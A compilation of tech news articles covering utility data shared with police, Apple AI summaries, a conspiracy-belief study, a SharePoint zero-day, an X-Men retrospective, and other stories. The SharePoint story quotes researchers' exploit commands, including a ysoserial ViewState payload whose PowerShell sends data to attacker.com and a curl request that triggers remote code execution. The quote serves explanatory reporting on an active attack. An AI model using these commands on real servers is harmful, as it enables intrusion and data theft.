Author name: Tim Belzer

a-power-utility-is-reporting-suspected-pot-growers-to-cops-eff-says-that’s-illegal.

A power utility is reporting suspected pot growers to cops. EFF says that’s illegal.

In May 2020, Sacramento, California, resident Alfonso Nguyen was alarmed to find two Sacramento County Sheriff’s deputies at his door, accusing him of illegally growing cannabis and demanding entry into his home. When Nguyen refused the search and denied the allegation, one deputy allegedly called him a liar and threatened to arrest him.

That same year, deputies from the same department, with their guns drawn and bullhorns and sirens sounding, fanned out around the home of Brian Decker, another Sacramento resident. The officers forced Decker to walk backward out of his home in only his underwear around 7 am while his neighbors watched. The deputies said that he, too, was under suspicion of illegally growing cannabis.

Invasion of the privacy snatchers

According to a motion the Electronic Frontier Foundation filed in Sacramento Superior Court last week, Nguyen and Decker are only two of more than 33,000 Sacramento-area people who have been flagged to the sheriff’s department by the Sacramento Municipal Utility District, the electricity provider for the region. SMUD called the customers out for using what it and department investigators said were suspiciously high amounts of electricity indicative of illegal cannabis farming.

The EFF, citing investigator and SMUD records, said the utility unilaterally analyzes customers’ electricity usage in “painstakingly” detailed increments of every 15 minutes. When analysts identify patterns they deem likely signs of illegal grows, they notify sheriff’s investigators. The EFF said the practice violates privacy protections guaranteed by the federal and California governments and is seeking a court order barring the warrantless disclosures.

“SMUD’s disclosures invade the privacy of customers’ homes,” EFF attorneys wrote in a court document in support of last week’s motion. “The whole exercise is the digital equivalent of a door-to-door search of an entire city. The home lies at the ‘core’ of constitutional privacy protection.”

Contrary to SMUD and sheriff’s investigator claims that the likely illegal grows are accurate, the EFF cited multiple examples where they have been wrong. In Decker’s case, for instance, SMUD analysts allegedly told investigators his electricity usage indicated that “4 to 5 grow lights are being used [at his home] from 7pm to 7am.” In actuality, the EFF said, someone in the home was mining cryptocurrency. Nguyen’s electricity consumption was the result of a spinal injury that requires him to use an electric wheelchair and special HVAC equipment to maintain his body temperature.

A power utility is reporting suspected pot growers to cops. EFF says that’s illegal. Read More »

apple-intelligence-news-summaries-are-back,-with-a-big-red-disclaimer

Apple Intelligence news summaries are back, with a big red disclaimer

Apple has released the fourth developer betas of iOS 26, iPadOS 26, macOS 26 and its other next-generation software updates today. And along with their other changes and fixes, the new builds are bringing back Apple Intelligence notification summaries for news apps.

Apple disabled news notification summaries as part of the iOS 18.3 update in January. Incorrect summaries circulating on social media prompted news organizations to complain to Apple, particularly after one summary said that Luigi Mangione, alleged murderer of UnitedHealthcare CEO Brian Thompson, had died by suicide (he had not and has not).

Upon installing the new update, users of Apple Intelligence-compatible devices will be asked to enable or disable three broad categories of notifications: those for “News & Entertainment” apps, for “Communication & Social” apps, and for all other apps. The operating systems will list sample apps based on what you currently have installed on your device.

All Apple Intelligence notification summaries continue to be listed as “beta,” but Apple’s main change here is a big red disclaimer when you enable News & Entertainment notification summaries, pointing out that “summarization may change the meaning of the original headlines.” The notifications also get a special “summarized by Apple Intelligence” caption to further distinguish them from regular, unadulterated notifications.

Apple Intelligence news summaries are back, with a big red disclaimer Read More »

conspiracy-theorists-don’t-realize-they’re-on-the-fringe

Conspiracy theorists don’t realize they’re on the fringe


Gordon Pennycook: “It might be one of the biggest false consensus effects that’s been observed.”

Credit: Aurich Lawson / Thinkstock

Belief in conspiracy theories is often attributed to some form of motivated reasoning: People want to believe a conspiracy because it reinforces their worldview, for example, or doing so meets some deep psychological need, like wanting to feel unique. However, it might also be driven by overconfidence in their own cognitive abilities, according to a paper published in the Personality and Social Psychology Bulletin. The authors were surprised to discover that not only are conspiracy theorists overconfident, they also don’t realize their beliefs are on the fringe, massively overestimating by as much as a factor of four how much other people agree with them.

“I was expecting the overconfidence finding,” co-author Gordon Pennycook, a psychologist at Cornell University, told Ars. “If you’ve talked to someone who believes conspiracies, it’s self-evident. I did not expect them to be so ready to state that people agree with them. I thought that they would overestimate, but I didn’t think that there’d be such a strong sense that they are in the majority. It might be one of the biggest false consensus effects that’s been observed.”

In 2015, Pennycook made headlines when he co-authored a paper demonstrating how certain people interpret “pseudo-profound bullshit” as deep observations. Pennycook et al. were interested in identifying individual differences between those who are susceptible to pseudo-profound BS and those who are not and thus looked at conspiracy beliefs, their degree of analytical thinking, religious beliefs, and so forth.

They presented several randomly generated statements, containing “profound” buzzwords, that were grammatically correct but made no sense logically, along with a 2014 tweet by Deepak Chopra that met the same criteria. They found that the less skeptical participants were less logical and analytical in their thinking and hence much more likely to consider these nonsensical statements as being deeply profound. That study was a bit controversial, in part for what was perceived to be its condescending tone, along with questions about its methodology. But it did snag Pennycook et al. a 2016 Ig Nobel Prize.

Last year we reported on another Pennycook study, presenting results from experiments in which an AI chatbot engaged in conversations with people who believed at least one conspiracy theory. That study showed that the AI interaction significantly reduced the strength of those beliefs, even two months later. The secret to its success: the chatbot, with its access to vast amounts of information across an enormous range of topics, could precisely tailor its counterarguments to each individual. “The work overturns a lot of how we thought about conspiracies, that they’re the result of various psychological motives and needs,” Pennycook said at the time.

Miscalibrated from reality

Pennycook has been working on this new overconfidence study since 2018, perplexed by observations indicating that people who believe in conspiracies also seem to have a lot of faith in their cognitive abilities—contradicting prior research finding that conspiracists are generally more intuitive. To investigate, he and his co-authors conducted eight separate studies that involved over 4,000 US adults.

The assigned tasks were designed in such a way that participants’ actual performance and how they perceived their performance were unrelated. For example, in one experiment, they were asked to guess the subject of an image that was largely obscured. The subjects were then asked direct questions about their belief (or lack thereof) concerning several key conspiracy claims: the Apollo Moon landings were faked, for example, or that Princess Diana’s death wasn’t an accident. Four of the studies focused on testing how subjects perceived others’ beliefs.

The results showed a marked association between subjects’ tendency to be overconfident and belief in conspiracy theories. And while a majority of participants believed a conspiracy’s claims just 12 percent of the time, believers thought they were in the majority 93 percent of the time. This suggests that overconfidence is a primary driver of belief in conspiracies.

It’s not that believers in conspiracy theories are massively overconfident; there is no data on that, because the studies didn’t set out to quantify the degree of overconfidence, per Pennycook. Rather, “They’re overconfident, and they massively overestimate how much people agree with them,” he said.

Ars spoke with Pennycook to learn more.

Ars Technica: Why did you decide to investigate overconfidence as a contributing factor to believing conspiracies?

Gordon Pennycook: There’s a popular sense that people believe conspiracies because they’re dumb and don’t understand anything, they don’t care about the truth, and they’re motivated by believing things that make them feel good. Then there’s the academic side, where that idea molds into a set of theories about how needs and motivations drive belief in conspiracies. It’s not someone falling down the rabbit hole and getting exposed to misinformation or conspiratorial narratives. They’re strolling down: “I like it over here. This appeals to me and makes me feel good.”

Believing things that no one else agrees with makes you feel unique. Then there’s various things I think that are a little more legitimate: People join communities and there’s this sense of belongingness. How that drives core beliefs is different. Someone may stop believing but hang around in the community because they don’t want to lose their friends. Even with religion, people will go to church when they don’t really believe. So we distinguish beliefs from practice.

What we observed is that they do tend to strongly believe these conspiracies despite the fact that there’s counter evidence or a lot of people disagree. What would lead that to happen? It could be their needs and motivations, but it could also be that there’s something about the way that they think where it just doesn’t occur to them that they could be wrong about it. And that’s where overconfidence comes in.

Ars Technica: What makes this particular trait such a powerful driving force?

Gordon Pennycook: Overconfidence is one of the most important core underlying components, because if you’re overconfident, it stops you from really questioning whether the thing that you’re seeing is right or wrong, and whether you might be wrong about it. You have an almost moral purity of complete confidence that the thing you believe is true. You cannot even imagine what it’s like from somebody else’s perspective. You couldn’t imagine a world in which the things that you think are true could be false. Having overconfidence is that buffer that stops you from learning from other people. You end up not just going down the rabbit hole, you’re doing laps down there.

Overconfidence doesn’t have to be learned, parts of it could be genetic. It also doesn’t have to be maladaptive. It’s maladaptive when it comes to beliefs. But you want people to think that they will be successful when starting new businesses. A lot of them will fail, but you need some people in the population to take risks that they wouldn’t take if they were thinking about it in a more rational way. So it can be optimal at a population level, but maybe not at an individual level.

Ars Technica: Is this overconfidence related to the well-known Dunning-Kruger effect?

Gordon Pennycook: It’s because of Dunning-Kruger that we had to develop a new methodology to measure overconfidence, because the people who are the worst at a task are the worst at knowing that they’re the worst at the task. But that’s because the same things that you use to do the task are the things you use to assess how good you are at the task. So if you were to give someone a math test and they’re bad at math, they’ll appear overconfident. But if you give them a test of assessing humor and they’re good at that, they won’t appear overconfident. That’s about the task, not the person.

So we have tasks where people essentially have to guess, and it’s transparent. There’s no reason to think that you’re good at the task. In fact, people who think they’re better at the task are not better at it, they just think they are. They just have this underlying kind of sense that they can do things, they know things, and that’s the kind of thing that we’re trying to capture. It’s not specific to a domain. There are lots of reasons why you could be overconfident in a particular domain. But this is something that’s an actual trait that you carry into situations. So when you’re scrolling online and come up with these ideas about how the world works that don’t make any sense, it must be everybody else that’s wrong, not you.

Ars Technica: Overestimating how many people agree with them seems to be at odds with conspiracy theorists’ desire to be unique.  

Gordon Pennycook: In general, people who believe conspiracies often have contrary beliefs. We’re working with a population where coherence is not to be expected. They say that they’re in the majority, but it’s never a strong majority. They just don’t think that they’re in a minority when it comes to the belief. Take the case of the Sandy Hook conspiracy, where adherents believe it was a false flag operation. In one sample, 8 percent of people thought that this was true. That 8 percent thought 61 percent of people agreed with them.

So they’re way off. They really, really miscalibrated. But they don’t say 90 percent. It’s 60 percent, enough to be special, but not enough to be on the fringe where they actually are. I could have asked them to rank how smart they are relative to others, or how unique they thought their beliefs were, and they would’ve answered high on that. But those are kind of mushy self-concepts. When you ask a specific question that has an objectively correct answer in terms of the percent of people in the sample that agree with you, it’s not close.

Ars Technica: How does one even begin to combat this? Could last year’s AI study point the way?

Gordon Pennycook: The AI debunking effect works better for people who are less overconfident. In those experiments, very detailed, specific debunks had a much bigger effect than people expected. After eight minutes of conversation, a quarter of the people who believed the thing didn’t believe it anymore, but 75 percent still did. That’s a lot. And some of them, not only did they still believe it, they still believed it to the same degree. So no one’s cracked that. Getting any movement at all in the aggregate was a big win.

Here’s the problem. You can’t have a conversation with somebody who doesn’t want to have the conversation. In those studies, we’re paying people, but they still get out what they put into the conversation. If you don’t really respond or engage, then our AI is not going to give you good responses because it doesn’t know what you’re thinking. And if the person is not willing to think. … This is why overconfidence is such an overarching issue. The only alternative is some sort of propagandistic sit-them-downs with their eyes open and try to de-convert them. But you can’t really convert someone who doesn’t want to be converted. So I’m not sure that there is an answer. I think that’s just the way that humans are.

Personality and Social Psychology Bulletin, 2025. DOI: 10.1177/01461672251338358  (About DOIs).

Photo of Jennifer Ouellette

Jennifer is a senior writer at Ars Technica with a particular focus on where science meets culture, covering everything from physics and related interdisciplinary topics to her favorite films and TV series. Jennifer lives in Baltimore with her spouse, physicist Sean M. Carroll, and their two cats, Ariel and Caliban.

Conspiracy theorists don’t realize they’re on the fringe Read More »

sharepoint-vulnerability-with-9.8-severity-rating-under-exploit-across-globe

SharePoint vulnerability with 9.8 severity rating under exploit across globe

The researchers wrote:

Now, with the ToolShell chain (CVE-2025-49706 + CVE-2025-49704), attackers appear to extract the ValidationKey directly from memory or configuration. Once this cryptographic material is leaked, the attacker can craft fully valid, signed __VIEWSTATE payloads using a tool called ysoserial as shown in the example below.

Using ysoserial the attacker can generate it’s own valid SharePoint tokens for RCE.

# command to get the  via any public available SharePoint page, like start.aspx  curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="K[^"]+'  # example malicious Powershell viewstate payload that the adversary can utilize as RCE to list a dir  ysoserial.exe -p ViewState -g TypeConfuseDelegate   -c "powershell -nop -c "dir 'C:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions15TEMPLATELAYOUTS' | %  Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) ""   --generator=""   --validationkey=""   --validationalg=""   --islegacy   --minify  # finally, by adding the generated token to any request, the command is executed (RCE)  curl http://target/_layouts/15/success.aspx?__VIEWSTATE=

These payloads can embed any malicious commands and are accepted by the server as trusted input, completing the RCE chain without requiring credentials. This mirrors the design weakness exploited in 2021, but now packaged into a modern zero-day chain with automatic shell drop, full persistence, and zero authentication.

Patching is only the start

The attackers are using the capability to steal SharePoint ASP.NET machine keys, which allow the attackers to stage hacks of additional infrastructure at a later time. That means that patching alone provides no assurance that attackers have been driven out of a compromised system. Instead, affected organizations must rotate SharePoint ASP.NET machine keys and restart the IIS web server running on top.

According to The Washington Post, at least two federal agencies have found that servers inside their networks were breached in the ongoing attacks.

The Eye Security post provides technical indicators that admins can use to determine if their systems have been targeted in the attacks. It also provides a variety of measures vulnerable organizations can take to harden their systems against the activity.

In a post on Sunday, the US Cybersecurity and Infrastructure Security Agency confirmed the attacks and their use of ToolShell. The post went on to provide its own list of security measures.

SharePoint vulnerability with 9.8 severity rating under exploit across globe Read More »

x-men-at-25-is-more-relevant-than-ever

X-Men at 25 is more relevant than ever


“Mankind has always feared what it doesn’t understand.” Plus: our seven favorite scenes.

Credit: 20th Century Studios

Twenty-five years ago, X-Men became a summer blockbuster and effectively re-energized a then-flagging market for superhero movies, which have dominated the industry (for better and worse) ever since. It’s still a vastly entertaining film, with great characters, a zippy pace, and plenty of action. And its broader themes still strongly resonate with viewers today.

(Many spoilers below.)

In the mid-1990s, the popularity of the animated X-Men TV series caught the attention of 20th Century Fox (now 20th Century Studios), which purchased the rights from a cash-strapped Marvel Comics and hired Bryan Singer (The Usual Suspects) to direct. At the time, the project was perceived by some as a bit risky, given waning Hollywood interest in the genre after 1997’s disastrously campy Batman and Robin. But the gamble paid off: X-Men was a major hit, spawning its own franchise and ultimately the Marvel Cinematic Universe.

The film’s central conflict rests on two former friends. Charles Xavier (Patrick Stewart) and Magneto (Ian McKellan), aka Erik Lehnsherr, are fellow mutants who find themselves at odds over how best to respond to the growing anti-mutant bigotry among humans. Charles, who runs a private school for mutant children, sees the good in humans and believes they can peacefully coexist; Magneto believes mutants are the future and humans should go extinct—preferably with his help. He has organized the Brotherhood of Mutants to further that aim: Mystique (Rebecca Romijn), Sabretooth (Tyler Mane), and Toad (Ray Park).

Charles in turn has his X-Men: Storm (Halle Berry), Jean Grey (Famke Janssen), and Cyclops (James Marsden), eventually adding a reluctant Wolverine (Hugh Jackman) to their ranks. Teenage mutant Rogue (Anna Paquin) joins the school and becomes a target for Magneto, since her mutation enables her to absorb other people’s life force and memories—and powers, in the case of the mutants. Together they must foil Magneto’s plan to forcibly mutate humans via radiation (even if it kills them) and convince a hostile US government that most mutants do not pose a threat.

Credit: 20th Century Studios

There’s much to love about this film, including plenty of memorable standout scenes; seven of our favorites are featured below. It’s got stellar casting, snappy dialogue, and breaks up the action with quieter character moments that advance the story without slowing the pace. X-Men also takes pains to establish key relationships: Charles and Magneto, Rogue and Wolverine, and the romantic triangle of Jean, Cyclops, and Wolverine. We care about these characters: their isolation, their pain at being feared and rejected because they’re different, and the different ways they process those feelings.

Despite humanity’s poor treatment of them, our mutant heroes are still willing to risk their lives to save an ungrateful humanity. That’s what makes them heroes, even if it might be easier to believe that Magneto and the Brotherhood’s open hostility to humans is justified. (“Mankind has always feared what it doesn’t understand.”) X-Men is hardly subtle about delivering its core message. The film pits bigotry and fear towards a targeted “other” vs. striving for acceptance and peaceful coexistence, unapologetically championing the latter. If any of that sounds suspiciously “woke”—well, as with Superman, it’s not the film that’s changed.

Without further ado, here are our seven favorite scenes in X-Men:

Young Eric at Auschwitz

Credit: 20th Century Studios

X-Men wastes no time setting up its primary theme. The very first scene takes place in Nazi-occupied Poland in 1944, where a young Erik Lehnsherr and his parents are being herded into a concentration camp by soldiers in the rain. Erik is separated from his parents, and the sight of his wailing mother being dragged away causes a distressed Erik to try to rejoin them. He’s restrained by soldiers, and his intensifying emotions unleash his mutant ability. He can manipulate magnetic fields, bending the metal gates keeping him from his parents into an “X” before the soldiers knock him unconscious.

Erik becomes Magneto, and those early experiences in the concentration camp indelibly shaped his character and world view, fueling his nefarious plans for mutants to displace humans as the dominant species on Earth. Lest we miss the point, the very next scene is Charles Xavier and Magneto listening to anti-mutant members of Congress calling for a Mutant Registration Act. Magneto insists that he knows firsthand where all this will inevitably lead; Charles counters that humans have changed for the better, perfectly encapsulating how these former friends turn into reluctant adversaries.

Wolverine’s cage fight

dark haired man with sideburns and claws coming out of his hands holds one against the throat of an attacked and points the other at a second attacker

Credit: 20th Century Studios

We first meet Wolverine at a dive bar in a remote wintry outpost, where a runaway Rogue also finds herself after getting a lift from a truck driver. He’s earning a few extra bucks by taking on all-comers in a series of no-holds-barred cage matches—and easily emerging victorious each time. Rogue arrives just in time to see the latest challenger stride into the cage with all the unearned confidence of a man who has been drinking heavily for hours. “Whatever you do don’t hit him in the balls,” the ref warns. Sure, the match is anything goes, “but he’ll take it personal.”

And Wolverine does, knocking the man out cold. Alas, the defeated opponent is also a sore loser, showing up after closing to confront Wolverine. “No man takes a beating like that and walks away,” he says, adding, “I know what you are.” He pulls a knife and gets Wolverine’s adamantium claws at his throat in response. Now that’s how you introduce a central character.

Mystique kidnaps a senator

Senator Robert Kelly (Bruce Davison) is the main political antagonist in X-Men, hell-bent on passing that draconian mutant registration bill. He does not see mutants as people deserving of basic civil rights, but as “weapons in our schools…. If it were up to me I’d lock them all away.” (Naturally he’s also an isolationist, concerned only with the “mutant problem” in America.)

Little does he know that he’s not actually talking to his loyal assistant, but to Mystique in disguise—with Toad piloting the helicopter he’s just boarded. He’s shocked when she transforms into her beautiful blue-skinned self: “You know people like you are the reason I was afraid to go to school as a child?” Then she kicks him unconscious and she and Toad transport him to Magneto’s secret hideout. Honestly, Kelly had it coming. And things only get worse for him from here.

Wolverine accidentally stabs Rogue

Wolverine and Rogue’s relationship is the beating heart of X-Men. He feels protective of her, as an older brother or an uncle might, but soon learns that she’s not as defenseless as she seems. Hearing a distressed Wolverine talking in his sleep during a nightmare, Rogue goes to his bed to wake him—and he skewers her with his claws before he realizes what he’s doing.

As he calls for help, Rogue puts her ungloved hand to his face, “borrowing” his mutant ability to heal herself. But it sends Wolverine into a seizure, just like the first boy who kissed her back in her hometown. It’s a compelling scene that not only tells us more about Rogue’s extreme mutant gift, but also strengthens her bond with Wolverine; she shared his power, however briefly, and admits at one point she can still feel him inside her head. Plus it serves as a handy catalyst for the next phase of Magneto’s master plan.

Charles vs. Magneto at the train station

Storm and Cyclops catch up with a runaway Rogue at the local train station, only to be attacked by Sabretooth and Toad. They are there to retrieve Rogue for Magneto (who has already taken Wolverine out of the equation on the train). Coming out of the station with Magneto, they are met with a whole lot of law enforcement. Magneto makes short shrift of them—”You homo sapiens and your guns”—turning the firearms onto the assembled officers.

Charles attempts to intervene by telepathically communicating through Toad and Sabretooth, but Magneto fires just one gun and slows down the bullet as it starts to drive into an officer’s forehead. Charles realizes he has lost this standoff and lets Magneto escape, with the latter issuing a parting shot: “Still unwilling to make sacrifices. That’s what makes you weak.” We know, of course, that the moment demonstrates Charles’ admirable strength of character and the goal toward which all true heroes should aspire.

Senator Kelly dissolves

Senator Kelly (Bruce Davison) is turned into a mutant by Magneto. 20th Century Studios

Poor Senator Kelly. After Magneto blasts him with radiation to turn him into a mutant, he manages to escape, turning up at a local beach stark naked with translucent skin—just like the jelly fish a little boy has been tormenting seconds before. (Stan Lee makes a cameo as one of the shocked beachgoers.) Kelly can’t go to a hospital, so he finds his way to Charles’ academy to get help. But there’s nothing Charles can do; the senator’s body is rejecting the radiation-induced mutation at an accelerating rate.

When Storm comes in to check on him, he’s started leaking water all over the table, and begs her not to leave him alone. Kelly asks if she hates normal people, and when Storm admits that sometimes she does, he asks why. “I suppose I’m afraid of them,” she says. “I think you’ve got one less person to be afraid of,” Kelly responds, right before his body rapidly bloats and then dissolves into a watery slurry. It’s a great scene not just for his revelatory moment with Storm—seeing a mutant, finally, as a person rather than a weapon—but also for the special effects achievement at a time when the technology for rendering fluids like water was still very much in its infancy.

Wolverine saves Rogue

The big climactic battle is waged inside the Statue of Liberty, as the X-Men face off against the Brotherhood while Magneto straps Rogue into his radiation machine housed inside the torch (of course). The objective: targeting the World Summit leaders assembled on nearby Ellis Island and turning them into mutants. “Your sacrifice will mean our survival,” Magneto assures her—although Wolverine rightly points out that if he were truly committed to the cause, he’d have sacrificed himself instead of temporarily transferring his power to Rogue.

Eventually the X-Men prevail, and Wolverine destroys the machine, cutting Rogue free. But it might be too late: when he puts his hand to her skin, nothing happens. A grief-stricken Wolverine cradles her body in his arms with his face against hers—only for her power to suddenly kick in. As Rogue revives by draining his healing ability, every injury Wolverine sustained in the preceding battle becomes visible and he collapses, sacrificing himself to save her.

Okay, he eventually recovers, too, because we need our happy ending. But it’s a powerfully intimate moment that builds on everything that came before—and helps fuel what comes after.

Photo of Jennifer Ouellette

Jennifer is a senior writer at Ars Technica with a particular focus on where science meets culture, covering everything from physics and related interdisciplinary topics to her favorite films and TV series. Jennifer lives in Baltimore with her spouse, physicist Sean M. Carroll, and their two cats, Ariel and Caliban.

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exhausted-man-defeats-ai-model-in-world-coding-championship

Exhausted man defeats AI model in world coding championship

While Dębiak won 500,000 yen and survived his ordeal better than the legendary steel driver, the AtCoder World Tour Finals pushes humans and AI models to their limits through complex optimization challenges that have no perfect solution—only incrementally better ones.

Coding marathon tests human endurance against AI efficiency

The AtCoder World Tour Finals represents one of competitive programming’s most exclusive events, inviting only the top 12 programmers worldwide based on their performance throughout the previous year. The Heuristic division focuses on “NP-hard” optimization problems. In programming, heuristics are problem-solving techniques that find good-enough solutions through shortcuts and educated guesses when perfect answers would take too long to calculate.

All competitors, including OpenAI, were limited to identical hardware provided by AtCoder, ensuring a level playing field between human and AI contestants. According to the contest rules, participants could use any programming language available on AtCoder, with no penalty for resubmission but a mandatory five-minute wait between submissions.

Leaderboard results for the 2025 AtCoder World Finals Heuristic Contest, showing Dębiak (as

Final leaderboard results for the 2025 AtCoder World Finals Heuristic Contest, showing Dębiak (as “Psyho”) on top. Credit: AtCoder

The final contest results showed Psyho finishing with a score of 1,812,272,558,909 points, while OpenAI’s model (listed as “OpenAIAHC”) scored 1,654,675,725,406 points—a margin of roughly 9.5 percent. OpenAI’s artificial entrant, a custom simulated reasoning model similar to o3, placed second overall, ahead of 10 other human programmers who had qualified through year-long rankings.

OpenAI characterized the second-place finish as a milestone for AI models in competitive programming. “Models like o3 rank among the top-100 in coding/math contests, but as far as we know, this is the first top-3 placement in a premier coding/math contest,” a company spokesperson said in an email to Ars Technica. “Events like AtCoder give us a way to test how well our models can reason strategically, plan over long time horizons, and improve solutions through trial and error—just like a human would.”

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after-5-years-in-development,-the-assassin’s-creed-tv-series-is-happening

After 5 years in development, the Assassin’s Creed TV series is happening

The long-running video game series Assassin’s Creed will get a live-action TV series adaptation. Variety and The Hollywood Reporter report that Netflix has greenlit the series after years of development hell; the intention to produce the series was announced in 2020.

The series had been through multiple creative teams even before it was greenlit, but Netflix settled on two co-showrunners. Roberto Patino, a writer on FX’s Sons of Anarchy and HBO’s Westworld, will join David Wiener, who led Paramount+’s Halo TV series as well as Fear the Walking Dead.

The two released a joint statement with the news that the show is moving forward:

We’ve been fans of Assassin’s Creed since its release in 2007. Every day we work on this show, we come away excited and humbled by the possibilities that Assassin’s Creed opens to us. Beneath the scope, the spectacle, the parkour and the thrills is a baseline for the most essential kind of human story—about people searching for purpose, struggling with questions of identity and destiny and faith. It is about power and violence and sex and greed and vengeance. But more than anything, this is a show about the value of human connection, across cultures, across time. And it’s about what we stand to lose as a species, when those connections break. We’ve got an amazing team behind us with the folks at Ubisoft and our champions at Netflix, and we’re committed to creating something undeniable for fans all over the planet.

Not many details are known about the series, beyond the obvious: like the games, it will follow a shadow war between the rival Templars and Assassins factions fought across centuries and cultures, with characters diving into genetic memory to experience the lives of ancestors who played pivotal roles in the war. There are no public details about characters or casting.

After 5 years in development, the Assassin’s Creed TV series is happening Read More »

trump-admin-squanders-nearly-800,000-vaccines-meant-for-africa:-report

Trump admin squanders nearly 800,000 vaccines meant for Africa: Report

Nearly 800,000 doses of mpox vaccine pledged to African countries working to stamp out devastating outbreaks are headed for the waste bin because they weren’t shipped in time, according to reporting by Politico.

The nearly 800,000 doses were part of a donation promised under the Biden administration, which was meant to deliver more than 1 million doses. Overall, the US, the European Union, and Japan pledged to collectively provide 5 million doses to nearly a dozen African countries. The US has only sent 91,000 doses so far, and only 220,000 currently still have enough shelf life to make it. The rest are expiring within six months, making them ineligible for shipping.

“For a vaccine to be shipped to a country, we need a minimum of six months before expiration to ensure that the vaccine can arrive in good condition and also allow the country to implement the vaccination,” Yap Boum, an Africa CDC deputy incident manager, told Politico.

Politico linked the vaccines’ lack of timely shipment to the Trump administration’s brutal cuts to foreign aid programs as well as the annihilation of the US Agency for International Development (USAID), which administered those aid programs.

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Dictionary.com “devastated” paid users by abruptly deleting saved words lists

Logophiles are “devastated” after Dictionary.com deleted their logs of favorited words that they carefully crafted for years. The company deleted all accounts, as well as the only ways to use Dictionary.com without seeing ads —even if you previously paid for an ad-free experience.

Dictionary.com offers a free dictionary through its website and free Android and iOS apps. It used to offer paid-for mobile apps, called Dictionary.com Pro, that let users set up accounts, use the app without ads, and enabled other features (like grammar tips and science and rhyming dictionaries) that are gone now. Dictionary.com’s premium apps also let people download an offline dictionary (its free apps used to let you buy a downloadable dictionary as a one-time purchase), but offline the dictionaries aren’t available anymore.

Accounts axed abruptly

About a year ago, claims of Dictionary.com’s apps being buggy surfaced online. We also found at least one person claiming that they were unable to buy an ad-free upgrade at that time.

Reports of Dictionary.com accounts being deleted and the apps not working as expected, and with much of its content removed, started appearing online about two months ago. Users reported being unable to log in and access premium features, like saved words. Soon after, Dictionary.com’s premium apps were removed from Google Play and Apple’s App Store. The premium version was available for download for $6 as recently as March 23, per the Internet Archive’s Wayback Machine.

A Reddit user who described themselves as a premium customer said they reached out to Dictionary.com’s support email and received a response saying, in part:

After careful consideration, user accounts within the Dictionary.com app have been discontinued. As a result, users are no longer able to sign in to their accounts, and any saved word lists are no longer available.

Unfortunately, since the coding technology that was used in the previous app version is different from what is used in the new app, it is not possible to recover word lists.

This change was part of our recent app update to improve the design, speed, and functionality of the Dictionary.com app. While we understand that this changes how you use Dictionary.com, we are hopeful that you will find the overall improvements provide faster search, additional content, and a better design.

Another person online supposedly received a similar message. Some people said they were unable to get in contact with Dictionary.com. Ars Technica tried contacting Dictionary.com through multiple messages to its support team, the press office of parent company IXL Learning, and The Dictionary Media Group, which IXL launched after acquiring Dictionary.com in 2024 and includes websites like Vocabulary.com, Multiplication.com, and HomeschoolMath.net. We didn’t receive any response.

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More VMware cloud partners axed as Broadcom launches new invite-only program

In response to the white label program ending, a Reddit user who claimed that their organization spent 300,000 pounds (about $402,500) a year on licensing through a VMware white-label partner, said:

I now have 6 months to design / procure / build a new multi region service provider virtualisation platform to support millions in revenue and an additional 12 months to migrate all our VMware clients.

I’m just astonished.

In a statement to The Register, Broadcom encouraged CSPs cut from VMware’s channel to work with authorized partners to “ensure a smooth transition for customers who seek to renew a service at the end of their current term,” but it offered no incentive or resources.

“Stronger execution”

News of additional partner cuts follows last month’s debut of VMware Cloud Foundation (VCF) 9.0. The blog post by VMware partner Interactive posited that Broadcom is paring down its CSP partner program in relation to VCF 9.0, which it said “underpins a small number [of] hyperscale private cloud platforms in each region.”

In a statement to The Register explaining the changes, Broadcom said:

Broadcom’s strategy since closing the VMware acquisition has been to drive simplification, consistency, and innovation across the VMware Go To Market ecosystem, including VMware Cloud Service Providers (VCSPs).

Recent changes to this ecosystem are consistent with this strategy. Broadcom is focusing more and going deeper with the VCSPs who have demonstrated commitment to their cloud services built on VMware. This will enable us to deliver greater value, stronger execution, and a more streamlined experience for Broadcom’s VMware customers of all sizes and enable a truly competitive offering to the hyperscalers through our CSPs.

Broadcom hasn’t shared how many partners it has shed through previous VMware channel changes. Last month, it cut members of the VMware reseller program’s lowest tier and claimed that most affected partners were inactive.

When Broadcom dropped those resellers last month, there was concern that its partner reductions were too extreme. At the time, Gartner VP analyst Michael Warrilow, for example, told The Register: “Broadcom seem intent on destroying what was one of the most successful partner ecosystems in the industry.” Sumit Bhatia, co-author of the book Navigating VMware Turmoil in the Broadcom Era, told Ars Technica that he expected the partner cuts to result in higher pricing for VMware customers.

As Broadcom continues to whittle away at VMware’s remaining partner base, the impacts of a smaller partner program will become harder to ignore, particularly for small-to-medium-sized businesses. The change aligns with the perception that Broadcom is mostly interested in conducting VMware business with large customers, despite repeated claims that its VMware changes benefit “customers of all sizes.”

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Permit for xAI’s data center blatantly violates Clean Air Act, NAACP says


Evidence suggests health department gave preferential treatment to xAI, NAACP says.

Local students speak in opposition to a proposal by Elon Musk’s xAI to run gas turbines at its data center during a public comment meeting hosted by the Shelby County Health Department at Fairley High School on xAI’s permit application to use gas turbines for a new data center in Memphis, TN on April 25, 2025. Credit: The Washington Post / Contributor | The Washington Post

xAI continues to face backlash over its Memphis data center, as the NAACP joined groups today appealing the issuance of a recently granted permit that the groups say will allow xAI to introduce major new sources of pollutants without warning at any time.

The battle over the gas turbines powering xAI’s data center began last April when thermal imaging seemed to show that the firm was lying about dozens of seemingly operational turbines that could be a major source of smog-causing pollution. By June, the NAACP got involved, notifying the Shelby County Health Department (SCHD) of its intent to sue xAI to force Elon Musk’s AI company to engage with community members in historically Black neighborhoods who are believed to be most affected by the pollution risks.

But the NAACP’s letter seemingly did nothing to stop the SCHD from granting the permits two weeks later on July 2, as well as exemptions that xAI does not appear to qualify for, the appeal noted. Now, the NAACP—alongside environmental justice groups; the Southern Environmental Law Center (SELC); and Young, Gifted and Green—is appealing. The groups are hoping the Memphis and Shelby County Air Pollution Control Board will revoke the permit and block the exemptions, agreeing that the SCHD’s decisions were fatally flawed, violating the Clean Air Act and local laws.

SCHD’s permit granted xAI permission to operate 15 gas turbines at the Memphis data center, while the SELC’s imaging showed that xAI was potentially operating as many as 24. Prior to the permitting, xAI was accused of operating at least 35 turbines without the best-available pollution controls.

In their appeal, the NAACP and other groups argued that the SCHD put xAI profits over Black people’s health, granting unlawful exemptions while turning a blind eye to xAI’s operations, which allegedly started in 2024 but were treated as brand new in 2025.

